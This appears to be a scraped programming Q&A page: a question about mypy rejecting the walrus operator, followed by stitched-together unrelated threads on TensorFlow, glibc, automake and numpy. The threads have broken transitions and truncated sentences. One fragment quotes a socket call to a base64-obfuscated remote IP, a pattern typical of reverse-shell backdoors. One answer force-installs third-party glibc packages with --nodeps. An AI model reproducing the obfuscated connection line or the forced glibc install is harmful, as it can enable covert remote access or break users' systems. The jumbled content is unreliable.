I am using Python 3.8.5 and mypy 0.790.
Running mypy on this code block will raise an error:
# mypy_and_the_walrus.py
z = "asd"
if (p := z):
print('hello') # error: invalid syntax
Running the program is fine:
❯ python -i mypy_and_the_walrus.py
hello
>>> p
'asd'
I have not been able to figure out what the issue is.
Note:
I have a mypy.ini with the python version set to 3.8:
# mypy.ini
[mypy]
python_version = 3.8
This is probably something silly on my end,
but I have not been able to find a solution to this.
The only solutions I have found are:
PEP 572: Invalid python syntax for walrus operator not raising parser error #9095
Walrus operator fails with 'Syntax Error' #64
The second one seems like it would have a solution, but the solution is tha
The answer is in the second link:
Walrus operator fails with 'Syntax Error' #64
However, the answer was not very clear:
It seems we need to run mypy itself on Python 3.8 to support syntax introduced in Python 3.8. Currently, we're using Python 3.7 to run mypy in the sandbox. I'll update the Docker image to fix this.
The solution:
❯ python3.8 -m mypy prac.py
Success: no issues found in 1 source file
Related
I successfully build bazel and tensorflow from the source code, but when using the tensorflow module I am getting the following error:
./new_python/bin/python
>>>import tensorflow as tf
Error MSG: File "/home/niraj/Ansible/new_python/lib/python2.7/site-packages/tensorflow/python/pywrap_tensorflow.py", line 28, in <module> _pywrap_tensorflow = swig_import_helper()
ImportError: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by /home/niraj/Ansible/new_python/lib/python2.7/site-packages/tensorflow/python/_pywrap_tensorflow.so)
I am using RHEL6 machine. Any idea how to fix this ?
I found two bug reports on github regarding this very problem
https://github.com/tensorflow/tensorflow/issues/110
https://github.com/bazelbuild/bazel/issues/760
At least I get the impression that getting tensorflow to work on RHEL 6 is at least 'difficult' - as some claim in those two bugreports that they got it to work, with some limitations - if not, at least for now, impossible.
At least for Ubuntu 12.04 and CentOS 6.7 there are solutions. The 2nd answer (mentions CentOS) should work on RHEL 6 as well.
Old/First answer:
According to the link I gathered from this answer, RHEL 6 ships with libc 2.12, not 2.14.
You would have to compile the tensorflow stuff again and link it to an existing libc 2.14 on your system. I'm not quite sure how you were able to compile it without already having libc 2.14 somewhere on your system.
What made the trick for me was updating glibc (in my case to 2.17 version) by:
wget http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-2.17-55.el6.x86_64.rpm
wget http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-common-2.17-55.el6.x86_64.rpm
wget http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-devel-2.17-55.el6.x86_64.rpm
wget http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-headers-2.17-55.el6.x86_64.rpm
sudo rpm -Uvh glibc-2.17-55.el6.x86_64.rpm \
glibc-common-2.17-55.el6.x86_64.rpm \
glibc-devel-2.17-55.el6.x86_64.rpm \
glibc-headers-2.17-55.el6.x86_64.rpm --force --nodeps
I link original answer
here see what happened
when I run the above command cmd I get an error while installing. As you can see in the above image.
s.connect((base64.b64decode(rip),17620)
I get syntax error: invalid token in line 191
and it is also giving me problems on some other modules also.
s.connect((base64.b64decode(rip),17620)
I get syntax error: invalid token in line 191
(I ran into this myself using jupyter notebook)
As you are using python 3 you don't need to install URL lib as it is part of core https://github.com/python/cpython/tree/3.6/Lib/urllib/
It's submodules are restructured so you need to change python 2 code like
import urllib
...
urllib.urlopen
into
import urllib.request
...
urllib.request.urlopen
While trying to install Tensorflow on my Raspberry Pi 3B as part of the g2p-seq2seq program I've run into a bit of an issue.
Using the guide here, I run into an error when executing the command:
bazel build -c opt --copt="-mfpu=neon" --local_resources 1024,1.0,1.0 --verbose_failures tensorflow/tools/pip_package:build_pip_package
I get the following error:
WARNING: Sandboxed execution is not supported on your system and thus hermeticity of actions cannot be guaranteed. See http://bazel.io/docs/bazel-user-manual.html#sandboxing for more information. You can turn off this warning via --ignore_unsupported_sandboxing.
ERROR: /home/pi/makevoicedemo/tf/tensorflow/tensorflow/tensorflow.bzl:571:26: Traceback (most recent call last):
File "/home/pi/makevoicedemo/tf/tensorflow/tensorflow/tensorflow.bzl", line 565
rule(attrs = {"srcs": attr.label_list..."), <3 more arguments>)}, <2 more arguments>)
File "/home/pi/makevoicedemo/tf/tensorflow/tensorflow/tensorflow.bzl", line 571, in rule
attr.label_list(cfg = "data", allow_files = True)
expected ConfigurationTransition or NoneType for 'cfg' while calling label_list but got string instead: data.
ERROR: com.google.devtools.build.lib.packages.BuildFileContainsErrorsException: error loading package '': Extension file 'tensorflow/tensorflow.bzl' has errors.
INFO: Elapsed time: 0.337s
I know the Warning notice is not that big of an issue, however I don't know how to fix the two Errors following that. The documentation I found for Tensorflow on Raspberry Pi regarding this issue is difficult to follow. If anyone has any advice I would appreciate it.
Sorry you're hitting problems! The errors looks like a bug, so could you file this over at https://github.com/tensorflow/tensorflow/issues?
I'm trying to build iptables which requires automake as part of the build step. While I have this working on my machine, a colleague is having trouble. the configure is failing due to an automake bug as follows:
./configure: line 12080: syntax error near unexpected token `libnfnetlink,'
./configure: line 12080: `PKG_CHECK_MODULES(libnfnetlink, libnfnetlink >= 1.0,'
(automake fails to resolve the PKG_CHECK_MODULES macro...) The PKG_CHECK_MODULES is in pkg.m4. We inserted a line in the top level makefile aclocal --print-ac-dir. This tells us that it points to a directory where pkg.m4 exists, and where the macro seems to be properly defined. The big difference between our systems seems to be that I have automake 1.11.1, and he has automake (GNU automake) 1.11.6 (RN 10.10.2 (sic), assuming 1.10.2) (I'm not sure what the RN refers to...). He also has a newer version of autoconf (I have 2.66, he has 2.69). I noticed that in my colleague's version of the pkg.m4 file, there is a dnl in the middle of the PKG_CHECK_MODULES file, which I do not appear to have, however, it is right before a closing bracket [] dnl ], so I am assuming it is not doing anything. Does anyone know what might be causing this error, or what I might try next?
(note: I do not want to have to downgrade automake, as this has to work on third party build machines as well).
Thanks,
John
EDIT:
In configure.ac, you have the lines:
AM_CONDITIONAL([ENABLE_LIBIPQ], [test "$enable_libipq" = "yes"])
PKG_CHECK_MODULES([libnfnetlink], [libnfnetlink >= 1.0],
[nfnetlink=1], [nfnetlink=0])
AM_CONDITIONAL([HAVE_LIBNFNETLINK], [test "$nfnetlink" = 1])
The problem is that the PKG_CHECK_MODULES macro is not being resolved, so that PKG_CHECK_MODULES ends up in the configure script itself (I suppose that's autoconf then, and not automake - my bad -- still new to all of this). So in configure, you end up with a line:
PKG_CHECK_MODULES([libnfnetlink], [libnfnetlink >= 1.0],
which bash does not understand, and treats as a syntax error.
I had similar problems with my compilation env.
In my case, it helped to downgrade pkg-config to version 0.24, and libtool to version 2.4.2
I'm trying to set up virtualenv with numpy. I've found that the recommended way to do it is by using
python setup.py install
in the numpy directory while under virtual enviroment.
I was wondering if it's possible to avoid the fortran compiling and just use a numpy binary available for OS?
Has anyone tried this? I couldn't figure out where is numpy located.
UPDATE:
Managed to do something.
Searched for "numpy" in my file system and found it in "usr/lib/pymodules/python2.7/numpy".
Then i just copied that to my virtualenv folder to "lib/pymodules/python2.7"
For now, i was able to call all numpy methods i tried.
UPDATE:
Tried to install matplotlib since numpy is a dependency for it. That failed:
REQUIRED DEPENDENCIES
numpy: 1.5.1
freetype2: found, but unknown version (no pkg-config)
* WARNING: Could not find 'freetype2' headers in any
* of '/usr/include', '.', '/usr/include/freetype2',
* './freetype2'.
pymods ['pylab']
packages ['matplotlib', 'matplotlib.backends', 'matplotlib.backends.qt4_editor', 'matplotlib.projections', 'matplotlib.testing', 'matplotlib.testing.jpl_units', 'matplotlib.tests', 'mpl_toolkits', 'mpl_toolkits.mplot3d', 'mpl_toolkits.axes_grid', 'mpl_toolkits.axes_grid1', 'mpl_toolkits.axisartist', 'matplotlib.sphinxext', 'matplotlib.tri', 'matplotlib.delaunay', 'pytz', 'dateutil', 'dateutil.zoneinfo']
warning: no files found matching 'KNOWN_BUGS'
warning: no files found matching 'INTERACTIVE'
warning: no files found matching 'MANIFEST'
warning: no files found matching '__init__.py'
warning: no files found matching 'examples/data/*'
warning: no files found matching 'lib/mpl_toolkits'
warning: no files found matching 'LICENSE*' under directory 'license'
In file included from ./CXX/Extensions.hxx:37:0,
from src/ft2font.h:6,
from src/ft2font.cpp:3:
./CXX/WrapPython.h:58:20: fatal error: Python.h: No such file or directory
compilation terminated.
error: Setup script exited with error: command 'gcc' failed with exit status 1
It does seem so that it isn't numpy which is causing the errors. Trying to diagnose the cause of the error...
UPDATE:
Manually went through all REQUIRED DEPENDENCIES and installed them.
It flied by to fast so i didn't notice it, and believed it yielded no errors.
Probably you need python dev package. try this
sudo apt-get install python2.7-dev
Not sure what OS you're using, but I would just use an EPD Free binary for this. Granted, you get SciPy and some other stuff along with it, but it's about as hassle-free as you can get.